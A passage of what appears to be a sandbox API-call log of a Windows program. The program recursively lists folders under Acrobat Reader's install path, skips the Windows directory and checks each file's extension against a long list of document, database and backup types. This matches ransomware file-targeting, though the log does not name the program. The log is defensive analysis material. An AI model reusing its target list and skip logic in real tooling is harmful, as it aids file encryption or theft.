lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0265.344] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.344] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0265.344] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls") returned 100 [0265.344] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls") returned 1 [0265.344] lstrlenW (lpString="nls") returned 3 [0265.344] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="nls") returned -1 [0265.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0265.344] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls") returned 100 [0265.344] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0265.345] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0265.345] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0265.345] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae") returned 106 [0265.345] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae") returned 1 [0265.345] lstrlenW (lpString="ar-ae") returned 5 [0265.345] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ar-ae") returned 1 [0265.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0265.345] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae") returned 106 [0265.345] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0265.346] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.346] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0265.346] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0265.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0265.346] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0265.346] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es") returned 106 [0265.346] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es") returned 1 [0265.346] lstrlenW (lpString="ca-es") returned 5 [0265.346] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ca-es") returned -1 [0265.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0265.346] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es") returned 106 [0265.346] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315bb0 [0265.346] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.347] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x201f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.347] lstrlenW (lpString="ui-strings.js") returned 13 [0265.347] lstrlenW (lpString=".1cd") returned 4 [0265.347] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.347] lstrlenW (lpString=".3ds") returned 4 [0265.347] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.347] lstrlenW (lpString=".3fr") returned 4 [0265.347] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.347] lstrlenW (lpString=".3g2") returned 4 [0265.347] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.347] lstrlenW (lpString=".3gp") returned 4 [0265.347] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.347] lstrlenW (lpString=".7z") returned 3 [0265.347] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.347] lstrlenW (lpString=".accda") returned 6 [0265.347] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.347] lstrlenW (lpString=".accdb") returned 6 [0265.347] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.347] lstrlenW (lpString=".accdc") returned 6 [0265.347] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.348] lstrlenW (lpString=".accde") returned 6 [0265.348] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.348] lstrlenW (lpString=".accdt") returned 6 [0265.348] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.348] lstrlenW (lpString=".accdw") returned 6 [0265.348] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.348] lstrlenW (lpString=".adb") returned 4 [0265.348] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.348] lstrlenW (lpString=".adp") returned 4 [0265.348] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.348] lstrlenW (lpString=".ai") returned 3 [0265.349] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.349] lstrlenW (lpString=".ai3") returned 4 [0265.349] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.349] lstrlenW (lpString=".ai4") returned 4 [0265.349] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.349] lstrlenW (lpString=".ai5") returned 4 [0265.349] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.349] lstrlenW (lpString=".ai6") returned 4 [0265.349] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.349] lstrlenW (lpString=".ai7") returned 4 [0265.349] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.349] lstrlenW (lpString=".ai8") returned 4 [0265.349] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.349] lstrlenW (lpString=".anim") returned 5 [0265.349] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.349] lstrlenW (lpString=".arw") returned 4 [0265.349] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.349] lstrlenW (lpString=".as") returned 3 [0265.349] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.350] lstrlenW (lpString=".asa") returned 4 [0265.350] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.350] lstrlenW (lpString=".asc") returned 4 [0265.350] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.350] lstrlenW (lpString=".ascx") returned 5 [0265.350] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.350] lstrlenW (lpString=".asm") returned 4 [0265.350] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.350] lstrlenW (lpString=".asmx") returned 5 [0265.350] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.350] lstrlenW (lpString=".asp") returned 4 [0265.350] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.350] lstrlenW (lpString=".aspx") returned 5 [0265.350] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.350] lstrlenW (lpString=".asr") returned 4 [0265.350] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.350] lstrlenW (lpString=".asx") returned 4 [0265.351] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.351] lstrlenW (lpString=".avi") returned 4 [0265.351] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.351] lstrlenW (lpString=".avs") returned 4 [0265.351] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.351] lstrlenW (lpString=".backup") returned 7 [0265.351] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.351] lstrlenW (lpString=".bak") returned 4 [0265.351] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.351] lstrlenW (lpString=".bay") returned 4 [0265.351] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.351] lstrlenW (lpString=".bd") returned 3 [0265.351] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.351] lstrlenW (lpString=".bin") returned 4 [0265.351] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.351] lstrlenW (lpString=".bmp") returned 4 [0265.351] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.351] lstrlenW (lpString=".bz2") returned 4 [0265.351] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.351] lstrlenW (lpString=".c") returned 2 [0265.351] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.352] lstrlenW (lpString=".cdr") returned 4 [0265.352] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.352] lstrlenW (lpString=".cer") returned 4 [0265.352] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.352] lstrlenW (lpString=".cf") returned 3 [0265.352] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.352] lstrlenW (lpString=".cfc") returned 4 [0265.352] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.352] lstrlenW (lpString=".cfm") returned 4 [0265.352] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.352] lstrlenW (lpString=".cfml") returned 5 [0265.352] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.352] lstrlenW (lpString=".cfu") returned 4 [0265.352] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.352] lstrlenW (lpString=".chm") returned 4 [0265.352] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.352] lstrlenW (lpString=".cin") returned 4 [0265.352] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.352] lstrlenW (lpString=".class") returned 6 [0265.353] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.353] lstrlenW (lpString=".clx") returned 4 [0265.353] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.353] lstrlenW (lpString=".config") returned 7 [0265.353] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.353] lstrlenW (lpString=".cpp") returned 4 [0265.353] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.353] lstrlenW (lpString=".cr2") returned 4 [0265.353] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.353] lstrlenW (lpString=".crt") returned 4 [0265.353] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.353] lstrlenW (lpString=".crw") returned 4 [0265.353] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.353] lstrlenW (lpString=".cs") returned 3 [0265.353] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.353] lstrlenW (lpString=".css") returned 4 [0265.353] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.353] lstrlenW (lpString=".csv") returned 4 [0265.353] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.353] lstrlenW (lpString=".cub") returned 4 [0265.354] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.354] lstrlenW (lpString=".dae") returned 4 [0265.354] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.354] lstrlenW (lpString=".dat") returned 4 [0265.354] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.354] lstrlenW (lpString=".db") returned 3 [0265.354] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.354] lstrlenW (lpString=".dbf") returned 4 [0265.354] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.354] lstrlenW (lpString=".dbx") returned 4 [0265.354] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.354] lstrlenW (lpString=".dc3") returned 4 [0265.354] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.354] lstrlenW (lpString=".dcm") returned 4 [0265.354] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.354] lstrlenW (lpString=".dcr") returned 4 [0265.354] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.354] lstrlenW (lpString=".der") returned 4 [0265.354] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.354] lstrlenW (lpString=".dib") returned 4 [0265.355] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.355] lstrlenW (lpString=".dic") returned 4 [0265.355] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.355] lstrlenW (lpString=".dif") returned 4 [0265.355] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.355] lstrlenW (lpString=".divx") returned 5 [0265.355] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.355] lstrlenW (lpString=".djvu") returned 5 [0265.355] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.355] lstrlenW (lpString=".dng") returned 4 [0265.355] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.355] lstrlenW (lpString=".doc") returned 4 [0265.355] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.355] lstrlenW (lpString=".docm") returned 5 [0265.355] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.355] lstrlenW (lpString=".docx") returned 5 [0265.355] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.355] lstrlenW (lpString=".dot") returned 4 [0265.355] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.355] lstrlenW (lpString=".dotm") returned 5 [0265.355] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.356] lstrlenW (lpString=".dotx") returned 5 [0265.356] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.356] lstrlenW (lpString=".dpx") returned 4 [0265.356] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.356] lstrlenW (lpString=".dqy") returned 4 [0265.356] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.356] lstrlenW (lpString=".dsn") returned 4 [0265.356] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.356] lstrlenW (lpString=".dt") returned 3 [0265.356] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.356] lstrlenW (lpString=".dtd") returned 4 [0265.356] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.356] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x201f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.356] FindClose (in: hFindFile=0x3315bb0 | out: hFindFile=0x3315bb0) returned 1 [0265.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0265.357] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0265.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0265.357] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz") returned 106 [0265.357] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0265.357] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.357] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.358] lstrlenW (lpString="ui-strings.js") returned 13 [0265.358] lstrlenW (lpString=".1cd") returned 4 [0265.358] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.358] lstrlenW (lpString=".3ds") returned 4 [0265.358] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.358] lstrlenW (lpString=".3fr") returned 4 [0265.358] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.358] lstrlenW (lpString=".3g2") returned 4 [0265.358] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.358] lstrlenW (lpString=".3gp") returned 4 [0265.358] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.358] lstrlenW (lpString=".7z") returned 3 [0265.358] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.359] lstrlenW (lpString=".accda") returned 6 [0265.359] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.359] lstrlenW (lpString=".accdb") returned 6 [0265.359] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.359] lstrlenW (lpString=".accdc") returned 6 [0265.359] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.359] lstrlenW (lpString=".accde") returned 6 [0265.359] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.359] lstrlenW (lpString=".accdt") returned 6 [0265.359] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.359] lstrlenW (lpString=".accdw") returned 6 [0265.359] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.359] lstrlenW (lpString=".adb") returned 4 [0265.359] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.359] lstrlenW (lpString=".adp") returned 4 [0265.359] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.359] lstrlenW (lpString=".ai") returned 3 [0265.359] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.359] lstrlenW (lpString=".ai3") returned 4 [0265.359] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.360] lstrlenW (lpString=".ai4") returned 4 [0265.360] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.360] lstrlenW (lpString=".ai5") returned 4 [0265.360] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.360] lstrlenW (lpString=".ai6") returned 4 [0265.360] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.360] lstrlenW (lpString=".ai7") returned 4 [0265.360] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.360] lstrlenW (lpString=".ai8") returned 4 [0265.360] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.360] lstrlenW (lpString=".anim") returned 5 [0265.360] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.360] lstrlenW (lpString=".arw") returned 4 [0265.360] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.360] lstrlenW (lpString=".as") returned 3 [0265.360] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.360] lstrlenW 